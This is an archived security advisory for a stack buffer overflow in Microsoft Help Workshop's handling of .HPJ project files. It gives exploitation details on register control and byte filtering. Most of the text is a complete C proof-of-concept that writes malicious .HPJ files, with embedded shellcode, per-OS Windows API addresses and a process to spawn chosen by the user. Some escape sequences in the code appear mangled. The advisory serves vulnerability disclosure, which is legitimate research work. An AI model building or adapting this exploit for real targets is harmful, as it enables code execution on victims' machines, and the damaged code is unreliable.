Help project files (.HPJ) buffer overflow vulnerability in Microsoft Help Workshop

Credit: porkythepig
Risk: High
Local: No
Remote: Yes
CWE: CWE-119

CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Advisory: ///////// Microsoft Help Workshop is prone to stack based memory corruption vulnerability during processing (.HPJ) help project files, caused by the lack of input data boundary check. It could be exploited by malicious entity to execute arbitrary code within the remote user context. Affected vendor: //////////////// Microsoft Product overview: ///////////////// Microsoft Help Workshop 4.03.0002 is standard component of Microsoft Visual Studio 6 / 2003 (.NET) It could be also downloaded alone from the Microsoft download center. Impact: /////// Remote code execution Attack vector: ///////////// An attacker must construct malformed (.HPJ) file and induce victim to open it with the tool, or if MS Help Workshop has been launched in the past (after first launch it associates the .HPJ files with itself), to launch the malicious file by doubleclicking/selecting to OPEN the help project. Technical Details: ////////////////// The stack based buffer overflow occurs in Microsoft Help Workshop while processing .hpj project files. Example .hpj file: [OPTIONS] REPORT=Yes HLP=HelpFilePathString01 The problem lies in lack of boundary check of file path variables (in this case: HelpFilePathString01) in the 'HLP' field of 'OPTIONS' section. When the string lenght exceeds 256 bytes, programs static buffer is overflowed and its memory is corrupted. The EIP register value is then overwritten by the DWORD value placed 108h bytes counting from the beginning of 'HelpFilePathString01' string. The ESP is set to DWORD value placed 534 bytes counting from the beggining of the string. The process control can be therefore intercepted by the attacker by redirecting the instruction flow to the attackers provided code within the malformed .hpj file. However before the data from the input file is being copied to the buffer it is parsed by the process and the specific ascii ranges (41-5A,8A,8C-8F,A3,A5,AA,Af,BC,C0-D6,D8-DE if the string ends with '') are modified before being deployed in the stack memory. Therefore successful exploitation using ESP-pointed data area requires strongly limited instruction set or payload encoder. However after buffer overflows ESI value is pointing to the buffer in the HCW.EXE .data PE section which holds the 'untouched' input string, probably temp buffer for the parser. ESI points to the beginning of the 'HelpFilePathString01'. That simplifies the shellcode issue, althought it must be considered that the DWORD return address to overwrite EIP with the JMP ESI code offset in process memory space has still to follow the ascii-excluding rules of the parser, because the overflow is being produced by the parser procedure itself. Vulnerable software: //////////////////// Microsoft Help Workshop v4.03.0002 Microsoft Visual Studio 6.0 SP6 Microsoft Visual Studio 2003 (.Net) Credits: //////// Vulnerability discovered and researched by: porkythepig exploit by: porkythepig email: porkythepig (at) anspi (dot) pl [email concealed] Exploit: //////// Proof of Concept exploit has been included at the end of the report. After compiled, it will create .hpj exploit files that after successful exploitation should spawn user specified process (by default notepad.exe), for the user specified host OS enviroment. It can be also found at: ////////////////////////////////////////////// //***************** // // PoC exploit for (.HPJ) project files buffer overflow vulnerability in // Microsoft Help Workshop v4.03.0002 // The tool is standard component of MS Visual Studio v6.0 and 2003 (.NET) // // vulnerability found / exploit built by porkythepig // //***************** #include "stdio.h" #include "stdlib.h" #include "string.h" #include "memory.h" #define STR01 "Microsoft Help Workshop PoC exploit by porkythepig" #define DEF_SPAWNED_PROCESS "notepad.exe" #define EXPL_SIZE 671 #define PROC_NAM_SIZ 128 #define RET_OFFSET 0x14e #define PROC_NAME_OFFSET 0x166 #define EXPRO_OFFSET 0xd9 #define GETSTAR_OFFSET 0x58 #define CREPRO_OFFSET 0xcf #define GETWINDIR_OFFSET 0x73 typedef struct { unsigned int extPro; unsigned int getStarInf; unsigned int crePro; unsigned int getWinDir; unsigned int jmpEspPtr; }ApiPtrs; ApiPtrs osApiPtrs[5]= { 0x793f69da,0x793f6b7a,0x793f5010,0x793f2d23,0x793d1c8b, 0x7c4ee01a,0x7c4f49df,0x7c4fc0a0,0x7c4e9cFF,0x7ffd2d63, 0x7c5969da,0x7c596b7a,0x7c595010,0x7c592d23,0x7d0c65f1, 0x7c81cdda,0x7c801eee,0x7c802367,0x7c821363,0x7cb97b75, 0x77e75cb5,0x77e6177a,0x77e61bb8,0x77e705b0,0x775fe310 }; unsigned char shlCode[]= { 0x66,0x83,0xc4,0x10,0x8b,0xc4,0x66,0x81, 0xec,0x10,0x21,0x50,0x66,0x2d,0x11,0x11, 0x50,0xb8,0x7a,0x6b,0x3f,0x79,0xff,0xd0, 0x58,0x50,0x80,0x38,0x20,0x74,0x49,0x5b, 0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81, 0xeb,0x11,0x05,0x53,0xb8,0x23,0x2d,0x3f, 0x79,0x3c,0xff,0x75,0x02,0x32,0xc0,0xff, 0xd0,0x58,0x50,0x66,0x2d,0x11,0x05,0x32, 0xdb,0x38,0x18,0x74,0x03,0x40,0xeb,0xf9, 0x5b,0x53,0xb2,0x01,0xb1,0x5c,0x88,0x08, 0x40,0x38,0x13,0x74,0x08,0x8a,0x0b,0x88, 0x08,0x43,0x40,0xeb,0xf4,0xb2,0x01,0x88, 0x10,0x58,0x50,0x66,0x2d,0x11,0x05,0x48, 0x40,0x8b,0xd0,0x80,0x38,0x01,0x74,0x03, 0x40,0xeb,0xf8,0x32,0xc9,0x88,0x08,0x58, 0x50,0x66,0x2d,0x11,0x11,0x50,0x33,0xc9, 0x51,0x51,0x51,0x51,0x51,0x51,0x51,0x52, 0xb8,0x10,0x50,0x3f,0x79,0xff,0xd0,0x33, 0xc0,0x50,0xb8,0xda,0x69,0x3f,0x79,0xff, 0xd0 }; char buf0[EXPL_SIZE]; char spawnProcess[PROC_NAM_SIZ]; char *outName; int osId; int defProc; void CompileBuffer() { int ptr=0; memset(buf0,'1',EXPL_SIZE); ptr+=sprintf(buf0,";%srnrn[OPTIONS]rnHLP=",STR01); memcpy(buf0+ptr,shlCode,sizeof(shlCode)); *((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro; *((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf; *((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro; *((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir; *((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr; ptr=PROC_NAME_OFFSET; if(!defProc) { buf0[ptr]=32; ptr++; } sprintf(buf0+ptr,"%sx01",spawnProcess); buf0[EXPL_SIZE-2]='\'; printf("Exploit buffer compiledn"); } void WriteBuffer() { FILE *o; o=fopen(outName,"wb"); if(o==NULL) { printf("Cannot open file for writingn"); exit(0); } fwrite(buf0,EXPL_SIZE,1,o); fclose(o); printf("Output .hpj file [ %s ] built successfullyn",outName); } void ProcessInput(int argc, char* argv[]) { printf("nMicrosoft Help Workshop 4.03.0002 .HPJ Project file exploitn"); printf("Vulnerability found & exploit built by porkythepign"); if(argc<3) { printf("Syntax: exploit.exe os outName [spawnProc]n"); printf("[os] host OS, possible choices:n"); printf(" 0 Windows 2000 SP4 [Polish] updates-04012007n"); printf(" 1 Windows 2000 SP4 [English]n"); printf(" 2 Windows 2000 SP4 [English] updates-04012007n"); printf(" 3 Windows XP Pro SP2 [English] updates-04012007n"); printf(" 4 Windows XP Pro [English]n"); printf("[outName] output .hpj exploit file namen"); printf("[spawnProc] *optional* full path to the process to be spawned byn"); printf(" the exploit (if none specified default will be notepad.exe)n"); exit(0); } osId=atol(argv[1]); if((osId<0)||(osId>4)) { exit(0); } outName=argv[2]; if(argc>3) { if(strlen(argv[3])>=PROC_NAM_SIZ) { exit(0); } strcpy(spawnProcess,argv[3]); defProc=0; } else { strcpy(spawnProcess,DEF_SPAWNED_PROCESS); defProc=1; } } int main(int argc, char* argv[]) { ProcessInput(argc,argv); CompileBuffer(); WriteBuffer(); return 0; }

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top